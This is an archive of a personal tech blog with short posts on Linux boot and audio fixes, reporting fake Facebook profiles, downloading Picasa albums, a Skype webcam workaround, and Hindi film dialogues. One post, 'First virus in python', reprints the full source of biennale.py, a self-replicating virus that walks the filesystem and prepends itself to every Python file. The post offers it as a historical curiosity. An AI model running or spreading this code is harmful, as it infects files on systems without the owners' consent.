New blog

I have moved to a new blog http://tiwari.tk

Monitor out of range

I was running a live cd and was getting monitor out of range on my old CPU with Samsung Monitor.
I browsed through the net and found several solution like adding vesa 800X600 or GRUB_GFXMODE=640x480 to the grub.
But none of these worked. Finally I found the solution and it is quite simple. Add "nomodeset" to the grub options.

If the grub boot command looks like this:

linux /vmlinuz-3.6.7-4.fc16.x86_64 root=UUID=0572d37f-cce7-4626-970d-e8d9b0fd5cc4 ro rd.md=0 rd.lvm=0 rd.dm=0 KEYTABLE=us quiet SYSFONT=latarcyrheb-sun16 rhgb rd.luks=0 LANG=en_US.UTF-8

Add nomodeset after vmlinuz

linux /vmlinuz-3.6.7-4.fc16.x86_64 nomodeset root=UUID=0572d37f-cce7-4626-970d-e8d9b0fd5cc4 ro rd.md=0 rd.lvm=0 rd.dm=0 KEYTABLE=us quiet SYSFONT=latarcyrheb-sun16 rhgb rd.luks=0 LANG=en_US.UTF-8

Press enter to boot.

It works for fedora/ubuntu. And should work for other distros as well.

Audio distorted in VLC on Linux

Update: Follow the steps on this website instead. This fixes issues with skype as well. The below mentioned procedure hinders two different applications to use the audio device at the same time.

If you are facing audio distortion in VLC on Linux. Follow the below mentioned steps.
In some cases the audio is distorted from the start, in other cases, the audio distortion starts when on fast forwards.

1. Press Ctrl + P (or go to Tools and select Preferences)
2. At the bottom of the window, there is option "Show settings", select "All"

3. In Audio
    In Output modules
        Select Audio output module: "ALSA audio output"

4. In Output module
        In ALSA
            Select the "Audio output device"
                 A list of devices is shown, select the default audio device

         

4. Save
5. Close VLC
6. Open VLC again and try again.

Note:  Selecting the default audio device worked for me. If it doesn't work, you can try with others. Just  remember to save, close and open VLC again.

If this doesn't solve your problem, try one of the things suggested here.

Audio distorted in VLC on windows

If you are facing audio distortion in VLC on windows. Follow the below mentioned steps.
In some cases the audio is distorted from the start, in other cases, the audio distortion starts when on fast forwards.

1. Press Ctrl + P (or go to Tools and select Preferences)
2. At the bottom of the window, there is option "Show settings", select "All"

3. In Audio
    In Output modules
        Select Audio output module: "DirectX audio output"

4. Save
5. Close VLC
6. Open VLC again and try again.

Note: In some cases, audio mode "Win32 waveOut" works better

If this doesn't solve your problem:
Read
1. http://wiki.videolan.org/WindowsFAQ-2.0.x#Crackles.2C_pops.2C_hizzes_and_other_audio_anomalies
2. http://forum.videolan.org/viewtopic.php?p=339577#p339577

Some pretty cool things

Read a few things after a long time.

1. Amazing 7 things I never knew I could do with bash. Read it here
2. Make you PC wake up automatically. Read it here
3. Packet Sniffing Basics. Read it here

Deleting a fake facebook profile

What you need:
1. A color scanned copy of your passport showing your name, date of birth and photo. You can cover the passport number. Its better if the file is in jpg format. (Mandatory)

2. The link to the fake  profile. (Mandatory)

3. Screenshot of the profile. If you cannot see it, ask someone who can give it to you. (Optional)


Step 1:
Logout of your facebook account, if you have one. (If you are logged in, it asks you to report and block the profile but that doesn't seem to delete the profile.)

Step 2:
Log on to http://www.facebook.com/help/contact/?id=169486816475808

Step 3:
To the question: "Do you have a facebook account?"
Click "No"

Step 4:
To the question: "What issue are you experiencing?"
Select "This person is pretending to be me or my friend"

Step 5:
To the question: "Is this account impersonating you?"
Select "Yes, I am the person being impersonated"

Step 6:
Provide the details like:
- Your Full Name (should be same as on your passport)
- Your contact email address
- Full name on the impostor profile (copy it from the info/about me from the profile)
- Email address listed on the impostor profile (if this is not visible, leave it blank)

- Link (URL) to the impostor profile (paste the link of the impostor account)

- Upload the color scanned copy of your passport.

Step 7:
Click "Send"

You will get a email from facebook. Reply to that email with the details present in the email like

Your name
Your address
Your phone number
Impostor accounts full name

Attach the screenshot of the impostor profile and your id proof.

Note: Its best if the screenshot and your id proof are in jpg format.

The mail reads that the account will be looked at in 72 hours. But I have noticed that the account gets deleted in less than 12 hours.

Once the account is disabled, you will receive a mail from facebook informing you about this.

Anand Movie Dialogues

Some of my favorite dialogues from Anand (1970) movie

Lekin kuch udaas laga
udasi khubsurat naho hoti hai babumosai
haan hoti hai magar tumhe toh hamesa haste dekha hai na, isliye
toh kya har khushi ke piche sirf khushi rehti hai babumosai, kabhi kabhi gum bhi toh

Anand aaj kuch bolte bolte ruk gaya.
Kehte kehte apna gum chupaliya usne.
Woh gum hi sayad uske jinda rehne ki sakti hai.
Warna yeh kaise mumkin hai, ki jiska sarir din badin kamjor ho raha hai, uske man ki sakti is tarah badhti jaa rahi hai.
Lekin uska gum kya hai, chahate huye bhi maine janne ki kosis nahi ki.
Agar wahi sakti hai uski, toh acha hai woh gum wahi uski dil ki gehrahiyon me chupa rahe.

-------------------------------------------------------------------------------------------------

Medical profession me ek woh mukam bhi aata hai jahan tamam ilaj khatm ho jaate hain aur doctor. Ko sirf marij ke khatm hone ka intejar karna padta hai. Is bebasi ko siwae ek doctor ke aur koi nahi jan sakta. Hey bhagwan, kitni bhayanak bebasi

-------------------------------------------------------------------------------------------------

Bas gine ginae kuch panne baaki hain anand ki jindagi ke, uske gine ginae kuch dino ki tarah.
Renu ne thik hi kaha tha ki ache logon ki bhagwan ko bhi utni hi jarurat rehti hai jitni hame.
Uske saamne kisi ki marji nahi chalti, haan kehte hain kabhi kabhi prarthana chalti hogi, aur is waqt main janta hun sab wahi kar rahe honge.
Lekin ant hum sab jante hain, hum sab dare sehme usika intejaar kar rahe hain
Kab. Kab. Kis waqt.

-------------------------------------------------------------------------------------------------

Maut tu ek kavita hai
mujhase ek kavita ka vaadaa hai milegi mujhako
dubati nabzon mein jab dard ko neend aane lage
zard saa cheharaa liye chaand ufak tak pahunche
din abhi paani mein ho, raat kinaare ke kareeb
na abhi andheraa ho, na ujaalaa ho, na raat, na din
jism jab khatm ho aur ruuh ko saans aae

mujhase ek kavita ka vaadaa hai milegii mujhako

-------------------------------------------------------------------------------------------------

Jindaga aur maut uparwale ke hath hai jahapana, jise na aap badalsakte hai na mein. hum sab to rangmanch ki katputlia hai, jiski door uparwale ke haath bandhi hai kab kaun kaise uthega ye koi nahi janta

Download Picasa Album

If your friend has shared pics on picasa or google plus and you want to download the complete album, follow the following steps:
1. Go to the album page
2. Right click in the middle
3. Click on "View Source"
4. Save the contents in a file named as a on the desktop
5. Open the terminal
6. Type in the following command
cat ~/Desktop/a | grep DSCN > b ; cat b | sed 's/"/\n/g' | grep DSCN | grep http | grep s0- > d; rm ~/Desktop/a b
7. Now download the pics in the file d
wget -c --input-file=d
8. If the download pauses, you need to type the command in step 7 only.

Have fun.

Added later:

shorter version:
cat a  | grep s0- | sed 's/"/\n/g' | grep http > b

All beautiful things end in sadness, why?

Why do all beautiful things have to end in sadness?

Have you ever thought of it? I wonder from time to time. It was just this morning I was thinking about it in the shower and I realized the reason.

But first, let me tell you about one of my mathematics teachers in 10+2. His name was Deepak Niraula. Amazing character, funny, motivating. Almost everything a mathematics teacher never is. He used to give us a lot of problems to solve and used to recite his worn off line "The sum of sukha (happiness) and dukha (sadness) is constant, so if you solve these problems now, you'll be happy during exams."

Well that's the answer to the question we have. Because the sum of happiness and sadness is constant in various phases in life. And because the beautiful thing has already carried over happiness from the later part of the phase, it ends with the remaining part of the equation i.e. sadness. 

Recover files in Linux

Ever deleted photos/files accidentally from your pen drive or hard disk. Use the following to recover it.

http://goinggnu.wordpress.com/2008/02/14/recover-deleted-files-from-memory-card/
http://www.makeuseof.com/tag/recover-deleted-files-from-your-linux-system/
http://superuser.com/questions/326481/how-to-recover-deleted-files-from-formatted-fat32-ntfs-drive-in-linux

Installing and setting up Fedora 16

Just installed Fedora 16. Its a tough thing to remember what all software I normally install, so I looked up a couple of sites. Some of the good ones are

http://fedora.missingbox.co.nz/ - This site forgot to mention that libdvdcss is not present in the rpmfusion
http://www.mjmwired.net/resources/mjm-fedora-f16.html

http://www.howtoforge.com/the-perfect-desktop-fedora-16-i686-gnome This site is good for beginners.

But what surprised me the most was the Auto Plus +. It gives you a very simple interface to install codecs, software that are not in the repositories or require some typing in the terminal.
http://www.dnmouse.org/autoten/

Saying good bye to headache

http://getpainfree.tv/end-headache-pain-now/

Becoming a good computer engineer

A fun yet good read on how to improve your computer skills.

Seven steps to become a world class computer engineer:
http://www.hungry-hackers.com/2010/06/seven-steps-to-become-a-world-class-computer-engineer.html

Spams

Here's a list of Email Spam by Topic that I picked up from Wikipedia:
http://en.wikipedia.org/wiki/E-mail_spam

EMail Spam by Topic

Pharmacy	81%
Replica	5.40%
Enhancers	2.30%
Phishing	2.30%
Degrees[16]	1.30%
Casino	1%
Weight Loss	0.40%
Other	6.30%

A good article about the end of one of the big spammers http://www.wired.com/wired/archive/14.08/spamking_pr.html
Can you believe he sent about 25 million emails a day?

First virus in python

This is something I read long ago. First virus created using python created not to harm people but to show that python's potential.

Web page for the virus: http://www.0100101110101101.org/home/biennale_py/index.html

The source code is

# biennale.py _ go         to  49th Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG  [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
   try:
       soul = open(guest, "r")
       body = soul.read()
       soul.close()
       if find(body, "[epidemiC]") == -1:
           soul = open(guest, "w")
           soul.write(mybody + "\n\n" + body)
           soul.close()
   except IOError: pass      

def chat(party, guest):
   if split(guest, ".")[-1] in ("py", "pyw"):
       fornicate(party + guest)

def join(party):
   try:
       if not S_ISLNK(os.stat(party)[ST_MODE]):
           guestbook = listdir(party)
           if party != "/": party = party + "/"
           if not lower(party) in wank and not ".py" in guestbook:
               for guest in guestbook:
                   chat(party, guest)
                   join(party + guest)
   except OSError: pass
     
if  == '':
       mysoul = open(sys.argv[0])
       mybody = mysoul.read()
       mybody = mybody[:find(mybody, "#"*3) + 3]
       mysoul.close()
       blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
       if blacklist[-1] != "/": blacklist = blacklist + "/"
       wank = [lower(blacklist), "/proc/", "/dev/"]
       join("/")
       print ">      This file was contaminated by biennale.py, the world slowest virus."
     
       print "Either Linux or Windows, biennale.py is definetely the first Python virus."
       print "[epidemiC] http://www.epidemic.ws  HTTP://WWW.0100101110101101.ORG "
       print ">  <"
###

New Blog

Hi guys,

Just started another blog http://blvdeer.co.cc/blog

Why a new blog?
1. This blog is about technical only. The will be about everything.
2. I wanted to try wordpress.
3. This blog is blocked at my office.

You never update this blog, do you think you will update the new one?
Yeah that's kind of true. Let's see what happens.

ASCII Arts

What is ASCII Arts?

There are some websites with wonderful contents like

http://www.ascii-art.de/
http://www.chris.com/ascii/index.php

There are many other websites that allow you to create signatures using ASCII Arts.
Yeah they are cool, but have your heard of JavE??

It is a small cool software that allows you to draw your ascii arts by yourself. Its like using Ms-Paint. It is really simple. It allows usage of many fonts and the collection can be expanded with downloadable font library (they call it Figlet).

It also allows converting an image into ascii art and creating animations.

It is a freeware. They have pointed on their website that it will shift to GPL license making it opensource but it hasn't happened for sometime.

Go ahead and try it out:

http://www.jave.de/

Money Speech

Have you read the "Atlas Shrugged" by Ayn Rand? Well, I'm sad I never finished because of my neck issue. But I kept remembering a speech on Money by one of the lead characters. It really puts all I think and agree about money. I'm sure most people I know/like will agree with me. You can read it here http://www.freerepublic.com/focus/news/2158115/posts

Fixing Hindi on Android

Recently I rooted and moded my Spica to Android 2.2 froyo by Cyanogenmod but it looks like they haven't put much thought to Hindi/Nepali fonts.
Even earlier the vowel signs were all messed up.

But I couldn't find any fix for this instead I found a work around in opera mini.

First let me tell you one thing, opera mini is a must app.

Open opera mini, in the address bar type

config:

In the bottom, there is an option

Use bitmap fonts for complex fonts

Set it to YES

And it will work only in opera mini. Well something is better than nothing.

Upside down skype video on Fedora 14 64bit

Yes that happens on my laptop:

Laptop: Asus K40AB
Web-cam: Chicony CNF7129

It seems Asus mounted the camera upside down in the laptop. The windows driver internally inverts the image and displays it.

Here's a simple trick that I learnt from the ubuntu forums.
If you run skype with:

LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so /usr/bin/skype

It fixes the issue. But running it that way always isn't a fun.

There are two things to fix this situation:

1. The boring way: Create a shortcut on the desktop, with the above line as the executing application. This fixes the issue for only one user and cannot be invoked by the run command.

2. The fun way:
i. Log in to the super user

$ su

Enter the password
ii. Go to /usr/bin

# cd /usr/bin

iii. Rename skype to skype.main

# mv skype skype.main

iv. Create a new file skype with the below content:
LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so /usr/bin/skype.main

# echo "LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so /usr/bin/skype.main" > skype

v. Make the new skype executable

# chmod 755 skype

And you are done. Now running skype will call the above script which has a fix thus the video is displayed correctly.

Still facing an issue? Post a comment.

Update: having issues with LD_PRELOAD, check updated article on my new blog here.